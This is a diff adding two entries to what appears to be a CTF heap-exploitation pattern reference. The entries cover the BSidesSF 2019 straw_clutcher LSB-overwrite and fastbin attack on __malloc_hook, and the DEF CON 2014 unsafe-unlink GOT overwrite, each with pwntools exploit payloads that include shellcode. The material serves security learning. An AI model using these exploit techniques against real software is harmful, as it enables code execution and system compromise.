+**Pattern (straw_clutcher):** File-server heap has a `RENAME` handler that length-checks `old_name` twice instead of `old_name`/`new_name`, giving a bounded heap overflow into the adjacent `file_t` (`filename[0x20]`, `file_size`, `data`, `free_option`, `prev_file`). Every filename must match `[A-Za-z0-9]+.[A-Za-z0-9]{3}`, which rules out full fastbin-fd overwrites — but the regex only sees the **first null-terminated string** stored in `filename`, so the bytes after a preserved null are unconstrained. Corrupt only the LSB of `prev_file` so it re-points to `file->data` (attacker-controlled), forging a fake chunk that enables double-free + fastbin attack on `__malloc_hook`.
+
+```python
+# 1. Leak libc/heap by overwriting file_size to huge value, then RETR dumps the heap.
+# 2. Create file whose data bytes satisfy regex as a fake file_t chunk header.
+pc.sendline('PUT EEE.EXE {}'.format(0x48))
+pc.send(p64(0x4848482e484848) + p64(0)*4       # fake filename "HHH.HHH"
+        + p64(0x68)                             # fake file_size
+        + p64(heap + 0x250) + p64(0)            # fake data
+        + p64(heap + 0x190))                    # fake prev_file
+# 3. Produce two 0x70 freed chunks, then overwrite LSB of file->prev_file via rename:
+pc.sendline('RENAME EEE.EXE ' + 'E'*7*8 + 'EEEEE.EXP')
+# Only LSB of prev_file changes -> upper bytes preserved, LSB lands inside data.
+# 4. DELE the forged entry -> double-free on 0x70 tcache/fastbin.
+# 5. Classic fastbin poison onto __malloc_hook - 0x23, then trigger with PUT.
+```
+
+**Key insight:** When an overflow is byte-addressable but must pass a character-class filter, target only the LSB of heap-metadata pointers. Heap addresses share upper bytes across chunks, so a single attacker-controlled LSB relocates a pointer inside the same 256-byte window — enough to land it in a buffer you already control, bypassing regex/charset constraints that would reject a full 8-byte overwrite.
+
+**References:** BSidesSF 2019 — straw_clutcher, writeup 13763
+
+---
+
+## Custom Allocator Unsafe Unlink to GOT (DEF CON Qualifier 2014)
+
+**Pattern:** Non-glibc allocator with naive `free` — sets `mem[fd] = bk` (and symmetric `mem[bk+4] = fd`) without any safe-unlink consistency check. Overflow from the 10th chunk (0x104 bytes) corrupts chunk 11's `fd`/`bk` so that when chunk 9 is freed and chunk 11 becomes its "neighbour" during consolidation, the unlink writes `printf@GOT` → shellcode jump.
+
+```python
+from pwn import *
+context(arch='i386', os='linux')
+
+printf_got = 0x804c004
+array_10_addr = 0x...   # leaked from banner output "loc=0xADDR"
+
+payload  = p32(printf_got - 8)       # fake fd -> target = printf GOT (minus 8 for offset)
+payload += p32(array_10_addr + 8)    # fake bk -> value = addr of shellcode jump
+payload += b"\xeb\x08" + b"A"*8 + asm(shellcraft.sh())  # jmp +8; pad; shellcode
+payload += b"A" * (260 - len(payload))
+payload += p32(0)                    # next chunk's size field (prev_in_use = 0)
+```
+
+**Key insight:** Custom allocators almost never implement glibc's `fd->bk == chunk && bk->fd == chunk` safe-unlink check introduced in 2004. The classic `write-what-where` via `unlink(chunk)` applies verbatim — target GOT entries that will be called soon (printf, free, puts) and bake a short `jmp +8` over the 8-byte write slot into the shellcode. Validate the faked `size` field of the sentinel chunk so the allocator still consolidates instead of aborting.
+
+**References:** DEF CON CTF Qualifier 2014 — heap, writeup 13953